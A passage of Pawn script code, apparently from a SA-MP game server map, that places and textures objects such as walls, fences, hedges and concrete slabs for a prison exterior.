	prisonextobj = CreateDynamicObjectEx(19545, -995.797363, -706.565185, 31.027521, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -1010.777282, -727.415039, 31.022523, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -995.797363, -769.065124, 31.022523, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -1025.768798, -748.238769, 31.024522, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -1040.768798, -748.238769, 31.024522, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -1043.608886, -647.038452, 31.024522, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -1074.829101, -661.268066, 31.022523, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -1115.337646, -721.299011, 31.024522, 0.000000, 0.000000, 360.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -1113.476318, -684.949157, 31.021524, 0.000000, 0.000000, 360.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3475, -996.995605, -653.191406, 33.374694, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14387, "dr_gsnew", "mp_gs_mud", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3475, -996.993652, -649.500183, 33.376693, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14387, "dr_gsnew", "mp_gs_mud", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -992.975585, -647.474243, 32.654621, -0.000014, 0.000007, 50.300010, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3475, -1035.694458, -638.740722, 33.376693, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14387, "dr_gsnew", "mp_gs_mud", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3475, -1029.725341, -638.740722, 33.376693, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 14387, "dr_gsnew", "mp_gs_mud", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(4100, -1031.925781, -632.134399, 32.654621, -0.000003, 0.000006, 140.299987, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 16098, "des_boneyard", "Was_meshfence", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1105.998657, -675.775878, 34.287586, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1105.998657, -689.755432, 34.287586, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1105.998657, -709.145690, 34.287586, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1099.019165, -668.796020, 34.287586, 0.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1085.008178, -668.796020, 34.287586, 0.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1050.537597, -668.796020, 34.287586, 0.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1043.538208, -661.685668, 34.287586, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1036.579345, -654.575561, 34.287586, 0.000000, 0.000000, 360.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1019.358642, -654.575561, 34.287586, 0.000000, 0.000000, 360.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1012.388061, -661.685668, 34.287586, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1012.388061, -675.725402, 34.287586, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19313, -1012.388061, -689.255371, 34.287586, 0.000000, 0.000000, 270.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -1103.095947, -622.579528, 31.023523, 0.000000, 0.000000, 360.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(8417, -1113.835571, -592.465332, 31.018970, 360.000000, 0.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(16305, -1125.757934, -577.806945, 34.304534, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 9920, "anotherbuildsfe", "grassgrn256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16305, -1135.009155, -592.836914, 34.304534, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 9920, "anotherbuildsfe", "grassgrn256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16305, -1135.467651, -603.706909, 34.304534, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 9920, "anotherbuildsfe", "grassgrn256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19545, -1113.485351, -622.579528, 31.020523, 0.000000, 0.000000, 720.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 14527, "sweetslites", "mp_diner_fan", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8417, -1102.655029, -589.825073, 31.038970, 360.000000, 0.000000, 360.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16305, -1118.267944, -577.777465, 34.344535, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 9920, "anotherbuildsfe", "grassgrn256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16305, -1108.728759, -577.777465, 34.344535, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 9920, "anotherbuildsfe", "grassgrn256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16305, -1096.376953, -574.778320, 35.834506, 0.000000, 0.300000, 71.100021, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 9920, "anotherbuildsfe", "grassgrn256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16305, -1081.176025, -574.591674, 35.807785, 0.000000, 0.300000, 71.100021, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 9920, "anotherbuildsfe", "grassgrn256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(16305, -1080.670410, -601.601623, 34.450717, 0.000000, 0.300000, 71.100021, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 9920, "anotherbuildsfe", "grassgrn256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(8229, -1049.288330, -599.333435, 33.613510, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 3, 14387, "dr_gsnew", "mp_gs_mud", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8229, -1049.286376, -599.331481, 37.343566, 0.000000, 0.000000, 90.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 3, 14387, "dr_gsnew", "mp_gs_mud", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(8314, -1030.996826, -612.335144, 34.066516, 0.000000, 0.000000, -74.500091, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19866, -1004.705200, -590.989440, 30.740324, 0.000000, 0.000000, 44.200004, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 13681, "lahillshilhs1e", "veg_hedge1_256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19866, -1001.219299, -594.574218, 30.740324, 0.000000, 0.000000, 44.200004, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 13681, "lahillshilhs1e", "veg_hedge1_256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19866, -997.740356, -598.151672, 30.740324, 0.000000, 0.000000, 44.200004, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 13681, "lahillshilhs1e", "veg_hedge1_256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19866, -994.254821, -601.736145, 30.740324, 0.000000, 0.000000, 44.200004, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 13681, "lahillshilhs1e", "veg_hedge1_256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19866, -990.762329, -605.327514, 30.740324, 0.000000, 0.000000, 44.200004, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 13681, "lahillshilhs1e", "veg_hedge1_256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19866, -987.277160, -608.911682, 30.740324, 0.000000, 0.000000, 44.200004, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 13681, "lahillshilhs1e", "veg_hedge1_256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19866, -983.791076, -612.496520, 30.740324, 0.000000, 0.000000, 44.200004, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 13681, "lahillshilhs1e", "veg_hedge1_256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19866, -981.000732, -615.364196, 30.742322, 0.000000, 0.000000, 44.200004, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 13681, "lahillshilhs1e", "veg_hedge1_256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19866, -981.034362, -618.757263, 30.739324, 0.000000, 0.000000, 134.200012, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 13681, "lahillshilhs1e", "veg_hedge1_256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19866, -984.626281, -622.249877, 30.739324, 0.000000, 0.000000, 134.200012, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 13681, "lahillshilhs1e", "veg_hedge1_256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1028.900634, -701.219299, 31.007835, 180.000000, 90.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1028.900634, -706.219177, 31.007835, 180.000000, 90.000000, 180.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1028.900634, -711.217895, 31.007835, 0.000000, -89.999984, -0.000029, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1028.900634, -716.217773, 31.007835, 0.000000, -89.999984, -0.000029, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1026.401245, -707.328552, 31.007835, 0.000007, -89.999977, 89.999916, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1021.401245, -707.328552, 31.007835, 0.000007, -89.999977, 89.999916, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1020.770629, -707.328552, 31.010833, 0.000007, -89.999977, 89.999916, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1038.400756, -707.328552, 31.007835, 0.000014, -89.999977, 89.999893, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1033.400756, -707.328552, 31.007835, 0.000014, -89.999977, 89.999893, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1043.382812, -707.328552, 31.007835, 0.000022, -89.999977, 89.999870, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1040.911743, -704.830688, 31.007835, 0.000029, -90.000000, 179.999679, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1040.911743, -699.830688, 31.007835, 0.000029, -90.000000, 179.999679, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1040.911743, -694.831481, 31.007835, 0.000029, -90.000007, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1040.911743, -689.831481, 31.007835, 0.000029, -90.000007, 179.999633, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1040.911743, -684.832031, 31.007835, 0.000029, -90.000015, 179.999588, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1040.911743, -679.832031, 31.007835, 0.000029, -90.000015, 179.999588, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1041.411987, -678.500000, 31.010833, 0.000006, -90.000007, -90.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1044.162109, -678.500000, 31.007835, 0.000006, -90.000007, -90.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1049.155883, -678.500427, 31.007835, 0.000000, -89.999992, -90.000122, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1054.155883, -678.500427, 31.007835, 0.000000, -89.999992, -90.000122, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1059.155029, -678.500427, 31.007835, 0.000000, -90.000000, -90.000167, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1064.155029, -678.500427, 31.007835, 0.000000, -90.000000, -90.000167, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1069.154418, -678.500427, 31.007835, 0.000000, -90.000007, -90.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1074.154418, -678.500427, 31.007835, 0.000000, -90.000007, -90.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1048.382324, -693.581237, 31.007835, 0.000014, -90.000007, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1053.382324, -693.581237, 31.007835, 0.000014, -90.000007, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1058.376098, -693.581665, 31.007835, 0.000007, -89.999992, -90.000144, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1063.376098, -693.581665, 31.007835, 0.000007, -89.999992, -90.000144, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1068.375244, -693.581665, 31.007835, 0.000007, -90.000000, -90.000190, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1073.375244, -693.581665, 31.007835, 0.000007, -90.000000, -90.000190, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1078.374633, -693.581665, 31.007835, 0.000007, -90.000007, -90.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1083.374633, -693.581665, 31.007835, 0.000007, -90.000007, -90.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1099.530029, -680.905700, 31.007835, 0.000007, -90.000000, -0.000266, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1099.530029, -685.905700, 31.007835, 0.000007, -90.000000, -0.000266, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1099.529541, -690.899475, 31.007835, 0.000000, -89.999984, -0.000151, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1099.529541, -695.899475, 31.007835, 0.000000, -89.999984, -0.000151, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1099.529541, -700.898620, 31.007835, 0.000000, -89.999992, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1099.529541, -705.898620, 31.007835, 0.000000, -89.999992, -0.000197, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1099.529541, -710.898010, 31.007835, 0.000000, -90.000000, -0.000243, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1099.529541, -715.898010, 31.007835, 0.000000, -90.000000, -0.000243, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1097.032226, -716.395812, 31.007835, 0.000014, -89.999992, 89.999679, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1092.032226, -716.395812, 31.007835, 0.000014, -89.999992, 89.999679, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1087.038574, -716.395324, 31.007835, 0.000007, -89.999977, 89.999794, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1082.038574, -716.395324, 31.007835, 0.000007, -89.999977, 89.999794, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1077.039306, -716.395324, 31.007835, 0.000007, -89.999984, 89.999748, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1072.039306, -716.395324, 31.007835, 0.000007, -89.999984, 89.999748, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1067.040039, -716.395324, 31.007835, 0.000007, -89.999992, 89.999702, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1062.040039, -716.395324, 31.007835, 0.000007, -89.999992, 89.999702, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1079.154052, -678.500427, 31.007835, 0.000000, -90.000007, -90.000213, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1098.864257, -680.069946, 31.009834, 0.000014, -90.000007, -84.800262, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1093.895263, -679.617919, 31.009834, 0.000014, -90.000007, -84.800262, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1088.945434, -679.166870, 31.006835, 0.000014, -90.000007, -84.800262, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1088.364990, -693.581665, 31.007835, 0.000007, -90.000007, -90.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1093.364624, -693.581665, 31.007835, 0.000007, -90.000007, -90.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1098.345581, -693.581665, 31.004837, 0.000007, -90.000007, -90.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1098.345581, -706.401855, 31.004837, 0.000007, -90.000007, -90.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1098.345581, -708.391784, 31.004837, 0.000007, -90.000007, -90.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(19865, -1104.015014, -700.491821, 31.004837, 0.000007, -90.000007, -90.000236, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 4835, "airoads_las", "concretenewb256", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(1372, -1006.246093, -749.473754, 31.155487, 0.000000, 0.000000, -37.999992, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(16322, -1005.716186, -647.292846, 35.048076, 0.000000, 0.000000, 0.000000, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	prisonextobj = CreateDynamicObjectEx(3864, -973.539001, -676.413024, 36.178123, 0.000000, 0.000000, 74.999984, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(3864, -973.965454, -719.811340, 36.178123, 0.000000, 0.000000, -72.899971, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, -1, "none", "none", 0xFFFFFFFF);
	SetDynamicObjectMaterial(prisonextobj, 1, 18250, "cw_junkbuildcs_t", "Was_scrpyd_hngr_jsts", 0x00000000);
	prisonextobj = CreateDynamicObjectEx(19353, -1123.460937, -591.438415, 32.758052, 0.000000, 0.000022, -90.000259, 400.00, 400.00);
	SetDynamicObjectMaterial(prisonextobj, 0, 18202, "w_towncs_t", "pax256hi", 0x00000000);
